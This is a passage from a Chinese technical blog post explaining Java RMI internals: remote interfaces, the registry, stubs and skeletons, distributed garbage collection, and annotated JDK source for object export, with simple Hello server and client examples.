Java RMI & JNDI

sky123

RMI(Remote Method Invocation)

RPC(Remote Procedure Call,远程过程调用)一种允许不同计算机上的程序之间通过网络进行通信并调用彼此的方法的技术。通过RPC,程序可以像调用本地函数一样调用远程的函数,隐藏了通信和网络的复杂性,使得分布式应用程序的开发变得更加简单。

RPC 的核心思想是:在分布式系统中,客户端通过调用远程服务器上的方法,获取远程服务的结果,而无需关注底层的网络通信和序列化等细节。RPC 框架负责将函数调用转换为网络请求,并处理请求的序列化、传输、反序列化等过程。

sequenceDiagram
    participant Client
    participant Client_Stub
    participant Server_Stub
    participant Server
    
    
    Client->>Client_Stub: 1. 客户端调用
    activate Client
    activate Client_Stub
    Client_Stub->>Client_Stub: 2. 序列化
    Client_Stub->>Server_Stub: 3. 发送消息
    activate Server_Stub
    Server_Stub->>Server_Stub: 4. 反序列化
    Server_Stub->>Server: 5. 调用本地服务
    activate Server
    Server->>Server: 6. 服务处理
    Server-->>Server_Stub: 7. 返回处理结果
    deactivate Server
    Server_Stub->>Server_Stub: 8. 将结果序列化
    Server_Stub-->>Client_Stub: 9. 返回消息
    deactivate Server_Stub
    Client_Stub->>Client_Stub: 10. 反序列化
    Client_Stub-->>Client: 11. 返回调用结果
    deactivate Client_Stub
    deactivate Client

Java RMI(远程方法调用)是 Java 平台提供的一种机制,它允许 Java 程序在不同的 JVM(Java虚拟机)上进行通信,并能够像调用本地对象一样调用远程对象的方法。RMI 是 Java 中分布式应用的基础技术之一,它封装了网络通信、序列化等复杂的底层实现,允许开发者专注于应用逻辑的实现。

Java RMI 允许客户端通过存根(Stub)对象,调用在远程 JVM 中的真实对象的方法。RMI 不仅支持方法调用的远程执行,还支持在不同机器之间传输对象

RMI的主要组件

远程接口(Remote Interface)

远程接口定义了可以在远程调用中使用的方法,客户端和服务端都需定义用于远程调用的接口。远程接口必须满足下面两个要求:

  • 远程接口需要继承自 java.rmi.Remote
  • 远程接口的每个方法必须声明抛出 java.rmi.RemoteException 异常。

下面是一个简单的远程接口示例:

1
2
3
4
5
6
7
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
String sayHello(Object s) throws RemoteException;
String sayGoodBye() throws RemoteException;
}

远程对象实现类(Remote Object Implementation)

服务端的远程对象实现类需要实现远程接口,且需要继承 java.rmi.server.UnicastRemoteObjectUnicastRemoteObject 类提供了将远程对象注册到 RMI 注册中心的方法,方便自动将这个远程对象导出供客户端调用。下面是一个简单的远程对象实现类示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteHello extends UnicastRemoteObject implements Hello{
protected RemoteHello() throws RemoteException {
}

@Override
public String sayHello(Object s) throws RemoteException {
System.out.println("sayHello Called");
return "Hello " + s;
}

@Override
public String sayGoodBye() throws RemoteException {
System.out.println("sayGoodbye Called");
return "Bye~";
}
}

当然远程对象实现类也可以不继承 UnicastRemoteObject,但需要手动调用 UnicastRemoteObject#exportObject 来导出该远程对象,使其成为可被客户端调用的远程对象。导出对象时可以指定监听端口来接收 incoming calls,默认为随机端口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteHello implements Hello {

public RemoteHello() throws RemoteException {
// 手动导出对象
UnicastRemoteObject.exportObject(this, 1099); // 可以指定端口
}

@Override
public String sayHello(Object name) throws RemoteException {
System.out.println("sayHello Called");
return "Hello, " + name;
}

@Override
public String sayGoodBye() throws RemoteException {
System.out.println("sayGoodBye Called");
return "Bye~";
}
}

存根(Stub)和骨架(Skeleton)

为屏蔽网络通信的复杂性,RMI引入两个概念,客户端存根(Stub)和服务端骨架(Skeleton)

  • 存根(Stub) : 存根是客户端访问远程对象的代理。当客户端调用远程方法时,存根将方法调用封装并通过网络发送到远程服务器。
  • 骨架(Skeleton) : 骨架是服务器端的组件,用于接收客户端请求,并将请求传递给真实的远程对象执行。在JDK 5.0之后,骨架不再被需要,因为JDK使用动态代理来处理远程调用。

RMI 注册中心(RMI Registry)

RMI 注册中心用于管理和查找远程对象,它监听一个端口(默认是 1099)并提供远程对象查找服务。

  • 远程对象可以通过注册中心进行查找绑定
  • 客户端通过 RMI 注册中心来查找远程对象

启动 RMI 注册中心

RMI 注册中心主要有两种启动方式:

  • 通过 rmiregistry 命令启动(独立进程方式)

  • 通过 LocateRegistry.createRegistry() 启动(程序内启动方式)

通过 rmiregistry 命令启动 RMI 注册中心是传统的启动方法,你需要在终端或命令行中运行 rmiregistry 命令手动启动一个独立的 RMI 注册中心进程,它会监听一个端口(默认是 1099),并等待客户端进行连接和查找远程对象。

1
rmiregistry

默认情况下,rmiregistry 会监听端口 1099。如果你希望 RMI 注册中心监听一个不同的端口,可以指定端口号,例如:

1
rmiregistry 2000

注意

  • 需要确保在 启动服务端程序之前 启动 RMI 注册中心。因为服务端会将远程对象注册到注册中心中,注册中心必须在此之前启动。
  • 启动 rmiregistry 后,它会在终端持续运行并监听指定端口(默认是 1099)。在这个终端窗口中,你看不到任何提示,直到你停止它。
  • 在使用 rmiregistry 时,通常建议将它放在单独的终端窗口或后台运行,以便它能够持续监听客户端的请求。

另一种启动 RMI 注册中心的方式是通过 LocateRegistry.createRegistry() 启动 RMI 注册中心。这种方式通过 Java 代码在程序内部启动 RMI 注册中心。LocateRegistry.createRegistry() 方法可以在代码中指定端口号,并启动一个嵌入式的 RMI 注册中心。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.rmi.registry.LocateRegistry;

public class RMIServer {
public static void main(String[] args) {
try {
// 创建并启动 RMI 注册中心,监听 1099 端口
LocateRegistry.createRegistry(1099);
System.out.println("RMI registry is running.");

// 你的远程对象实例化代码和绑定远程对象的代码

} catch (Exception e) {
e.printStackTrace();
}
}
}

提示

LocateRegistry.createRegistry() 启动方式主要应用于开发和测试环境中。我们通常会直接把 RMI 启动部分放到服务端中,而不依赖外部的 rmiregistry 命令,这样可以简化调试和部署过程。

服务端注册远程对象

远程对象需要在服务器端注册到 RMI 注册中心中,这样客户端才能通过注册中心查找到远程对象并进行方法调用。

java.rmi.Naming 类提供了与 RMI 注册中心的交互功能。这个类提供了几个静态方法,用来在 RMI 注册中心中 查找绑定更新解绑 远程对象:

  • 查找远程对象lookup
  • 绑定远程对象bind(对象已经存在会抛出异常)和 rebind(会覆盖已有对象)
  • 解除绑定远程对象unbind
  • 列出远程对象list

在服务端代码中,远程对象注册通常是通过 Naming.rebind()Naming.bind() 来实现的。这些方法将远程对象与一个名字绑定,从而让客户端可以使用该名字进行查找。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
public static void main(String[] args) throws Exception {
// 创建并启动 RMI 注册中心,监听 1099 端口
LocateRegistry.createRegistry(1099);

// 创建远程对象实例
RemoteHello hello = new RemoteHello();

// 将远程对象注册到 RMI 注册中心,绑定名字 "hello"
Naming.bind("rmi://127.0.0.1:1099/hello", hello);

System.out.println("RemoteHello object is registered.");
}
}

在上面的示例中,Naming.bind("rmi://127.0.0.1:1099/hello", hello)hello 远程对象注册到 RMI 注册中心中,绑定的名字为 "hello"。客户端将通过这个名字来查找并调用远程对象的方法。

除此之外,RMI 还提供了另一种绑定方式。因为通常我们会把注册中心和服务端放在一起,因此 LocateRegistry.createRegistry 创建的注册中心对象 Registry(实际是 sun.rmi.registry.RegistryImpl 实现的 Registry 接口)同样有一个 bind 方法用于注册远程对象。

1
2
3
Registry registry = LocateRegistry.createRegistry(1099);
RemoteHello hello = new RemoteHello();
registry.bind("hello", hello);

由于这个方法直接指定了注册中心,因此 bind 的第一个参数是要与远程对象绑定的名称而不是完整的RMI URL(如 rmi://host:port/name)。

客户端查找远程对象

客户端通过 RMI 注册中心查找远程对象,方法是使用 Naming.lookup()。这时,客户端将通过给定的名字从 RMI 注册中心中查找远程对象,并通过返回的存根(stub)对象调用远程方法。

1
2
3
4
5
6
7
8
9
10
11
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
Hello hello = (Hello) registry.lookup("hello");
System.out.println(hello.sayHello("sky123"));
System.out.println(hello.sayGoodBye());
}
}

RMI 工作流程

RMI 的工作流程大致如下图所示:

img

RMI 底层通讯采用了 Stub (运行在客户端) 和 Skeleton (运行在服务端) 机制,RMI 调用远程方法的大致如下:

sequenceDiagram
    autonumber
    %% ===================== 参与者分组:谁属于谁 =====================
    box "Client JVM" #fff5f5
      participant CApp as 客户端应用
      participant RStub_C as Registry Stub(客户端, 本地创建)
      participant CProxy as 服务对象 Stub/动态代理(Proxy)
      participant CRef as RemoteRef(UnicastRef)
      participant CDGC as DGC 客户端(续约器)
    end
    box "Registry JVM" #f5fff5
      participant RTCP as TCPTransport(JRMP)
      participant RObjT as ObjectTable(Registry)
      participant RTgt as Target(ObjID=0)
      participant RDisp as UnicastServerRef(Registry)
      participant RSkel as RegistryImpl_Skel(legacy)
      participant RImpl as RegistryImpl
      participant RMap as bindings(name→stub)
    end
    box "Server JVM" #f5f5ff
      participant SvcApp as 服务端应用
      participant RStub_S as Registry Stub(服务端, 本地创建)
      participant STCP as TCPTransport(JRMP)
      participant SObjT as ObjectTable(Server)
      participant STgt as Target(ObjID=随机)
      participant SDisp as UnicastServerRef(服务对象, Dispatcher)
      participant SImpl as 远程对象实现(impl)
      participant SStub as 服务对象 Stub/动态代理(可序列化)
      participant SDGC as DGCImpl(ObjID=2)
    end

    %% ===================== ① 服务对象导出(export) =====================
    rect rgb(235,240,255)
      Note over SvcApp,SObjT: ① 导出远程对象(UnicastRemoteObject.exportObject)→ 生成 Stub/Proxy、方法哈希映射(hash→Method)、Target,监听端口
      SvcApp->>SDisp: exportObject(SImpl)
      Note right of SDisp: Util.createProxy(...) → 动态代理
InvocationHandler=RemoteObjectInvocationHandler(ref=UnicastRef)
建立 hashToMethod_Map SDisp->>STCP: ref.exportObject(Target) → listen() SDisp->>SObjT: ObjectTable.putTarget(Target{impl, disp, stub, id}) Note right of STgt: Target.stub 是返回给客户端的远程引用(Stub/Proxy)
Skeleton(若存在)仅服务端内部分发使用 end %% ===================== ② Registry 创建并导出 ===================== rect rgb(235,255,235) Note over RImpl,RObjT: ② LocateRegistry.createRegistry(port=1099)
ObjID=0;加载 RegistryImpl_Stub 与 RegistryImpl_Skel(legacy) RImpl-->>RDisp: 持有 UnicastServerRef(ref=LiveRef{ObjID=0,port=1099}) RDisp->>RTCP: exportObject(this) RDisp->>RObjT: ObjectTable.putTarget(Target{impl=RImpl, disp=RDisp, stub=RegistryImpl_Stub, id=0}) end %% ===================== ③ 服务端将服务注册到 Registry(bind) ===================== rect rgb(245,245,255) Note over SvcApp,RImpl: ③ 服务注册(bind):把 name→SStub(服务对象远程引用) 放进 Registry.bindings SvcApp->>RStub_S: 获取 Registry Stub(LocateRegistry.getRegistry) RStub_S->>RTCP: JRMP newCall {ObjID=0, opnum=0(bind), interfaceHash}
writeObject(name), writeObject(SStub) RTCP->>RObjT: 按 ObjID=0 查 Target RObjT-->>RTgt: 命中 RTCP->>RDisp: dispatch alt Registry 使用 Skeleton (legacy) RDisp->>RSkel: oldDispatch(opnum=0, hash) RSkel->>RImpl: bind(name, stub) else 现代(无 Skel) RDisp->>RImpl: bind(name, stub) end RImpl->>RMap: bindings.put(name, stub) RImpl-->>RStub_S: Return(ok) end %% ===================== ④ 客户端查找(lookup)并获取服务 Stub ===================== rect rgb(235,255,245) Note over CApp,RImpl: ④ 服务发现/查找:客户端通过 Registry 获取服务的 Stub CApp->>RStub_C: 获取 Registry Stub(LocateRegistry.getRegistry(host,1099)) RStub_C->>RTCP: JRMP newCall {ObjID=0, opnum=2(lookup)}
writeObject(name) RTCP->>RDisp: dispatch alt Skeleton 路径 RDisp->>RSkel: oldDispatch(opnum=2) RSkel->>RImpl: lookup(name) else 现代路径 RDisp->>RImpl: lookup(name) end RImpl->>RMap: bindings.get(name) RMap-->>RImpl: 返回 SStub(服务对象远程引用) RImpl-->>RStub_C: 返回 stub(序列化) RStub_C-->>CApp: 反序列化得到 CProxy(Stub/Proxy) Note right of CProxy: 代理的 InvocationHandler=RemoteObjectInvocationHandler
内部持有 CRef(UnicastRef: LiveRef{host,port,objID}) end %% ===================== ⑤ 客户端调用远程方法(普通远程对象主路径) ===================== rect rgb(255,240,240) Note over CApp,SImpl: ⑤ 远程方法调用:opnum=-1 + methodHash(普通对象),参数与返回值走序列化流 CApp->>CProxy: foo(arg1, arg2) CProxy->>CRef: invoke(method,args,getMethodHash(method)) CRef->>STCP: JRMP 调用 {ObjID=<服务对象id>, opnum=-1, methodHash, args(serialized)} STCP->>SObjT: 按 ObjID 查 Target SObjT-->>STgt: 命中 STCP->>SDisp: 分发 alt 现代:无 Skeleton(JDK5+ 常见) SDisp->>SDisp: 用 methodHash 在 hashToMethod_Map 定位 Method SDisp->>SImpl: 反序列化参数 → Method.invoke(...) SImpl-->>SDisp: 返回 结果 或 抛出异常 else Legacy:有 Skeleton(极少见) SDisp->>SImpl: Skel.dispatch(opnum) → 调用实现 end SDisp-->>STCP: 写回 {Return | ExceptionalReturn}(序列化) STCP-->>CRef: 响应 alt 正常返回 CRef-->>CProxy: 反序列化返回值 CProxy-->>CApp: 返回结果 else 异常返回 CRef-->>CProxy: 反序列化异常对象 CProxy-->>CApp: 抛出同类型异常(或 RemoteException 等包装) end end %% ===================== ⑥ DGC:分布式 GC(租约) ===================== rect rgb(240,255,255) Note over SDGC,SObjT: ⑥ DGC:管理远程引用生命周期(ObjID=2;默认租约≈10 min) Note right of SDGC: DGC 在类初始化时以单例形式加入 ObjectTable
导出 {stub=DGCImpl_Stub, skel=DGCImpl_Skel(legacy)} CProxy->>CDGC: (运行时跟踪可达性,注册引用) CDGC->>SDGC: dirty({ObjID...}, seq, Lease{vmid, duration}) SDGC-->>CDGC: leaseGranted(授予/调整时长) loop 续约直到本地不可达或进程退出 CDGC->>SDGC: dirty(...) SDGC-->>CDGC: leaseGranted end opt 本地不再持有/对象被本地GC CDGC->>SDGC: clean({ObjID...}, seq, vmid, strong) SDGC-->>CDGC: ack end end %% ===================== 术语速记 ===================== Note over CApp,SImpl: 术语:ObjID(对象标识;Registry=0, DGC=2, 普通=随机)
opnum: 0=bind, 2=lookup;普通对象调用用 opnum=-1 + methodHash
序列化方向:args/return/exception 走 Object{Output|Input}Stream
  1. 服务端创建远程对象(Object) ,并准备好提供远程服务。

    • 如果是普通的对象(继承于 UnicastRemoteObject):

      • 创建动态代理类,处理器为 RemoteObjectInvocationHandler
      • 因为要通过方法哈希查找对应方法,因此会将方法哈希到方法的映射存放在哈希表 hashToMethod_Map 中。
    • 如果是注册中心(RegistryImpl),则创建 RegistryImpl_StubRegistryImpl_Skel

    • 如果是 DGC(DGCImpl),则创建 DGCImpl_StubDGCImpl_Skel

      DGC 是 Java RMI 的 Distributed Garbage Collector(分布式垃圾回收器)。它负责在服务端跟踪每个远程对象是否仍被哪些客户端 JVM持有,从而在无人引用时允许服务端回收/卸载该远程对象。

    • 远程对象最后会封装成 Target 对象用注册到 ObjectTable 中,其中包括:

      • Remote impl:远程对象本体。
      • Dispatcher disp:分发器,是导出对象的 UnicastServerRef 用于处理远程调用请求。对于注册中心和 DGC,UnicastServerRef 会包含 Skel。
      • Remote stub:创建的远程对象存根。
        • 对于普通远程对象则是远程对象的动态代理。
        • 对于注册中心和 DGC 则是对应的 Skel 对象。
      • ObjID id:对象 Id。
        • 对于普通远程对象由于没有指定对象 Id,因此在初始化时设为随机值。
        • 对于注册中心则是 0。
        • 对于 DGC 则是 2。
  2. 服务端将远程对象注册到 RMI Registry 中 ,使客户端可以通过名称查找到远程对象。

    • 服务端通过调用 RegistryImpl_Stub#bind 方法远程调用注册中心的 bind 方法,将需要注册的类的名称(如果是 RMI URL 则先获到对应的注册中心然后再传递注册的类的名称)和注册的类的动态代理类(Stub)序列化后传递给注册中心。这本质上是对注册中心的 RegistryImpl 的一次 RMI 远程调用。为了避免先有鸡先有蛋的问题,RegistryImpl_Stub 是在调用 LocateRegistry#getRegistry 的时候本地创建的。
    • 注册中心的 TCPTransport#handleMessages 在接收到远程调用后根据对象 Id 在 ObjectTable 找到对应的 Target 对象然后调用其 Target.disp.dispatch 方法进行分发。
    • 对于非普通远程对象会被分发到 oldDispatch 方法,随即会调用 RegistryImpl_Skel#dispatch 根据 opnum 执行对应的处理逻辑,这里应该执行 bind 分支。
    • bind 分支中 RegistryImpl_Skel 会将远程对象名称到远程对象的映射存放到哈希表 bindings 中。
  3. 客户端通过 RMI Registry 查找注册的远程对象

    • 客户端通过 RegistryImpl_Skel#find 方法对注册中心进行 RMI 远程调用,参数为要获取的远程对象名称。
  4. RMI Registry 返回远程对象的 Stub 给客户端 ,客户端通过该 Stub 间接与服务端交互。

    • 注册中心经历同样的过程,最终调用到 RegistryImpl_Skel#dispatchfind 分支。
    • find 分支中 RegistryImpl_Skel 会根据远程对象的名称在哈希表 bindings 中查询到对应的存根类序列化返回。
    • 客户端反序列化结果得到远程对象的存根类。
  5. 客户端调用 Stub 上的远程方法 ,Stub 会将调用请求封装并发送至服务端。

    • 因为这里调用的是普通远程对象的方法,而普通的远程对象的 Stub 是动态代理,因此会被转发到动态代理的 invoke 方法。
  6. Stub 和 Skeleton 之间建立通信通道并发送远程调用请求

    • 首先建立连接,并且发送调用信息,主要是远程对象 Id,要调用的方法的哈希(因此是普通对象,不采用方法 Id),
    • 如果远程调用有参数则同样需要参数序列化后发送给 Skeleton。
  7. Skeleton 接收到 Stub 发来的请求后,代理调用真正的远程对象方法

    • 这里同样是 TCPTransport#handleMessages 在接收到远程调用后根据对象 Id 在 ObjectTable 找到对应的 Target 对象然后调用其 Target.disp.dispatch 方法进行分发。
    • 由于是调用普通对象的方法,因此会直接根据方法哈希在哈希表 bindings 中找到要调用的远程对象的方法,而不是不是调用 oldDispatch 方法来执行对应的处理分支。
    • 如果有参数则对参数进行反序列化。
    • 反射调用远程对象的方法。
  8. 方法执行完毕后,Skeleton 将执行结果返回

  9. Skeleton 将结果通过通信通道发送回 Stub

    • 远程对象的方法如果有返回值,则将返回结果序列化后发回 Stub。
    • 如果出现异常将异常结果序列化后发回 Stub。
  10. Stub 接收到结果后,返回给客户端用户程序 ,远程调用结束。

    • Stub 将远程返回的结果反序列化后返回给用户程序。
    • 如果返回的远程调用状态为异常则将异常结果反序列化后抛出。

以上过程的细节如下图所示,具体代码分析见下文。

img

服务注册

远程对象创建

通常我们定义的远程对象会继承于 java.rmi.server.UnicastRemoteObject

1
2
3
4
5
6
7
8
9
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteHello extends UnicastRemoteObject implements Hello {
protected RemoteHello() throws RemoteException {
}

// [...]
}

因此创建远程对象的时候会调用父类 UnicastRemoteObject 的构造函数。关于 UnicastRemoteObject 的构造函数的调用有如下调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
/**
* 使用匿名端口创建并“导出”一个新的 UnicastRemoteObject 实例。
*
* <p>效果:构造完成即导出当前对象(this),开始在某个匿名端口上监听 JRMP 调用。
* 该监听 socket 由 {@link java.rmi.server.RMISocketFactory}(或其默认实现)创建。</p>
*
* @throws RemoteException 导出失败(如端口占用、套接字创建失败、传输层错误)时抛出
* @since JDK 1.1
*/
protected UnicastRemoteObject() throws RemoteException {
// 调用带端口的构造器,其中 0 表示让 OS 分配一个可用的临时端口
this(0);
}

/**
* 使用指定端口创建并“导出”一个新的 UnicastRemoteObject 实例。
*
* <p>效果:构造完成即导出当前对象(this),在指定端口上监听 JRMP 调用。
* 监听 socket 同样通过 {@link java.rmi.server.RMISocketFactory} 创建。</p>
*
* @param port 远程对象接收调用所用的 TCP 端口;为 0 则表示匿名端口
* @throws RemoteException 导出失败时抛出
* @since JDK 1.2
*/
protected UnicastRemoteObject(int port) throws RemoteException {
this.port = port; // 记录服务监听端口(0 代表匿名端口)
// 关键步骤:将“当前远程对象”导出到指定端口并建立远程引用(RemoteRef)
exportObject((Remote) this, port);
}

/**
* 将任意实现了 {@link Remote} 的对象导出到指定端口,返回其“存根(Stub)/代理”。
*
* <p>说明:
* - 这是一个“静态导出”入口,不要求 obj 必须继承 UnicastRemoteObject;
* 对于非继承的场景,可先 new 普通实现类,再调用本方法导出。
* - 返回值通常是一个可序列化的代理对象(JDK 动态代理或预生成的 stub),
* 应将其发布给客户端(比如注册到 RMI Registry)。</p>
*
* @param obj 需要导出的远程对象(必须实现 {@link Remote})
* @param port 监听端口;0 表示匿名端口
* @return 导出的远程对象代理(客户端持有它发起调用)
* @throws RemoteException 导出失败时抛出
* @since JDK 1.2
*/
public static Remote exportObject(Remote obj, int port) throws RemoteException {
// 这里选择基于端口创建一个“单播服务器引用”(UnicastServerRef)作为传输/调度层
return exportObject(obj, new UnicastServerRef(port));
}

/**
* 使用给定的服务器引用(ServerRef)导出指定远程对象。
*
* <p>说明:
* - 若 obj 是 UnicastRemoteObject 的子类实例,则将其内部的 ref 字段设置为该 ServerRef,
* 便于对象后续通过 ref 完成远程调用的派发。
* - 真正的导出动作由 UnicastServerRef 执行:打开监听、注册对象ID、生成/返回 stub 等。</p>
*
* @param obj 需要导出的远程对象
* @param sref 服务器端引用(封装了传输层/调度逻辑)
* @return 远程对象的代理(stub)
* @throws RemoteException 导出失败时抛出
*/
private static Remote exportObject(Remote obj, UnicastServerRef sref)
throws RemoteException {
// 若是 UnicastRemoteObject 的实例,则把 ServerRef 记到其 ref 字段,
// 使该远程对象持有所属的“传输与调度引用”,供内部使用
if (obj instanceof UnicastRemoteObject) {
((UnicastRemoteObject) obj).ref = sref;
}

// 委托给 ServerRef 完成导出流程(打开端口/绑定对象ID/创建存根/注册到传输层等)
// 第二个参数(此处为 null)通常用于传入额外的自定义数据或客户端工厂,第三个布尔位表示是否“永久导出”(true 表示不参与分布式 GC,长久存活)
return sref.exportObject(obj, null, false);
}

UnicastRemoteObject 构造函数的调用过程为:

  1. UnicastRemoteObject() :使用匿名端口(端口为 0,系统会自动选择一个可用端口)创建并导出一个 UnicastRemoteObject 对象。
  2. UnicastRemoteObject(int port) :使用 UnicastRemoteObject 对象本身和指定的端口号创建并导出一个 UnicastRemoteObject 对象。
  3. exportObject(Remote obj, int port) :根据传入的端口号创建一个 UnicastServerRef 对象(存在多层封装,与网络连接有关)用于将远程对象导出到指定的服务器引用。
  4. exportObject(Remote obj, UnicastServerRef sref) :检查传入的 obj 是否是 UnicastRemoteObject 的实例。如果是,设置UnicastRemoteObject 对象的 ref 属性为指定的 UnicastServerRefUnicastServerRef 是远程对象导出时所需的服务器引用,负责处理网络请求和数据传输。

UnicastRemoteObject 构造函数最终会调用到 UnicastServerRefexportObject(Remote impl, Object data, boolean permanent) 方法创建服务器存根(Stub),该函数逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/**
* 将远程对象导出到 RMI 运行时:
* 1) 为实现类选择并创建“客户端存根(stub)”;
* 2) (若为旧式 stub)构建并绑定“服务器骨架(skeleton)”以兼容 JDK 1.1 协议;
* 3) 以 {@code Target} 形式把实现类、调度器(本对象)、stub、对象 ID、生命周期策略等
* 聚合到一起;
* 4) 通过传输层引用 {@code ref} 完成最终的导出(绑定对象 ID、开始接收调用)。
*
* @param impl 远程对象的“真实实现”实例(必须实现 java.rmi.Remote)
* @param data 额外的自定义数据(不同实现/子类可能用于传递工厂或配置;此处常为 {@code null})
* @param permanent 是否“永久导出”(true 表示不参与分布式 GC,长久存活)
* @return 客户端使用的“存根”(可序列化代理),通常会注册到 RMI Registry 发布给客户端
* @throws RemoteException 导出失败(端口/传输/权限/环境等异常)时抛出
*/
public Remote exportObject(Remote impl, Object data, boolean permanent)
throws RemoteException {

// 1) 取出实现类,后续用于选择 stub 的形态(动态代理或旧式 RemoteStub)
Class<?> implClass = impl.getClass();
Remote stub;

try {
// 2) 创建“客户端存根(stub)”
// - 若实现类的远程接口满足条件,优先生成 JDK 动态代理(Proxy + RemoteObjectInvocationHandler);
// - 若强制使用旧式 stub(forceStubUse)或满足兼容条件,则返回 RemoteStub 的子类实例。
// getClientRef() 提供客户端引用(RemoteRef),用于封装调用的网络细节(JRMP 等)。
stub = Util.createProxy(implClass, getClientRef(), forceStubUse);
} catch (IllegalArgumentException e) {
// 2.1) 当实现类没有“合法的远程接口”(例如:接口未继承 Remote、或方法签名不符合 RMI 规则)
// 则无法生成 stub,转为导出失败。
throw new ExportException(
"remote object implements illegal remote interface", e);
}

// 3) 若采用“旧式 stub”(RemoteStub),则设置服务器“骨架(skeleton)”
// - skeleton 仅用于 JDK 1.1 时代的旧协议分发;现代客户端(动态代理)不依赖它。
if (stub instanceof RemoteStub) {
setSkeleton(impl);
}

// 4) 构造 Target:这是服务端的聚合描述,包含
// - impl:远程对象实现
// - this:调度器/分发器(当前 UnicastServerRef)
// - stub:客户端要拿到的代理
// - ref.getObjID():对象 ID(JRMP 里的唯一标识)
// - permanent:生命周期策略(是否参与 DGC)
Target target =
new Target(impl, this, stub, ref.getObjID(), permanent);

// 5) 通过传输层引用 ref 真正“导出”目标:
// - 绑定对象 ID → Target
// - 打开/注册监听(若尚未)
// - 准备好入站调用的分发
ref.exportObject(target);

// 6) 为 JRMP 的方法分发准备“方法哈希→Method”的映射缓存
// - JRMP 通过方法签名哈希(long)标识远程调用的方法,此表用于快速从哈希反查到反射 Method。
hashToMethod_Map = hashToMethod_Maps.get(implClass);

// 7) 返回客户端要使用的 stub(调用方通常会把它注册到 RMI Registry)
return stub;
}

服务器存根是通过 sun.rmi.server.Util#createProxy() 创建的代理类,创建时需要以下几个参数:

  • implClass:远程对象的实现类,这里也就是 RemoteHello.class

  • getClientRef():实际上就是将 UnicastServerRefLiveRef 属性封装成一个 UnicastRef

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    /**
    * 服务器侧的“单播引用”实现:既是 RemoteRef 的一种(可被序列化到客户端作为 stub 使用),
    * 也充当“服务端调度器/分发器”(ServerRef、Dispatcher),负责把入站调用分发到实现类。
    *
    * 典型流程:
    * exportObject(...) 时,服务端持有 UnicastServerRef(含 LiveRef、ObjID、传输通道);
    * 为客户端生成 stub 时,需要一个“客户端可用”的 RemoteRef —— 由 getClientRef() 提供。
    */
    public class UnicastServerRef extends UnicastRef
    implements ServerRef, Dispatcher {

    /**
    * 构造一个“单播(Unicast)服务器端远程引用”,用于在指定端口上导出远程对象。
    *
    * <p>说明:
    * <ul>
    * <li><b>ServerRef 的职责</b>:封装服务端的传输/调度信息,后续在
    * {@code exportObject(Target)} 时与对象 ID(ObjID)、实现对象等一起注册到对象表,
    * 从而接收并分发入站的远程调用。</li>
    * <li><b>端口语义</b>:{@code port} 为 0 表示“匿名端口”(由 OS 在实际绑定时分配),
    * 非 0 则固定监听该端口。</li>
    * <li><b>注意</b>:这里只是构造引用并记录端口,真正的监听/绑定发生在导出流程(如
    * {@code TCPTransport.listen()}/{@code ObjectTable.putTarget(...)} 期间)。</li>
    * </ul>
    */
    public UnicastServerRef(int port) {
    // 将“端口”包装为 LiveRef:其中包含了对象标识(ObjID)与传输端点(endpoint)等信息,
    // 是服务端/客户端远程引用(RemoteRef)共享的底层“活动引用”。
    // LiveRef(port) 的端口为 0 时,实际绑定时由 OS 分配具体端口并回填。
    super(new LiveRef(port));

    // 每个远程对象的“入站调用过滤器”(例如 JEP 290 引入的反序列化过滤器);
    // 这里默认不指定(null),通常继承全局/传输层的默认策略,必要时可在导出前后设置。
    this.filter = null;
    }

    public UnicastServerRef(LiveRef liveRef) {
    super(liveRef);
    }

    /**
    * 返回“**客户端可用**”的远程引用(RemoteRef)。
    *
    * 语义:
    * - 若当前就是“客户端侧引用”,可直接返回 this;
    * - 若当前处于“服务器侧上下文”,需要构造一个“面向客户端”的 RemoteRef;
    * 其核心是**复用同一个 LiveRef**(共享 ObjID 与 Endpoint),
    * 以便客户端拿到的 stub 能正确地定位到此远程对象。
    *
    * @return 用于放进客户端 stub 的远程引用实例
    */
    protected RemoteRef getClientRef() {
    // 基于同一个 LiveRef 创建一个“客户端侧”的 UnicastRef。
    // 这样序列化到客户端的 stub 就携带了正确的目标地址与对象 ID。
    return new UnicastRef(ref);
    }

    // ……(省略:exportObject/dispatch 等服务端导出与分发逻辑)
    }

    /**
    * 注意:
    * 1) UnicastRef 的子类 UnicastRef2 会继承(复用)本类的方法(如 getLiveRef 等),
    * JDK 内部有代码(例如 javax.management.remote.rmi.RMIConnector 的实现)
    * 对这些方法存在“非公开”的依赖关系。因此这些方法的签名/行为不应轻易变更。
    * 2) UnicastRef 表示“**客户端侧的远程引用**”(RemoteRef):持有一个 LiveRef,
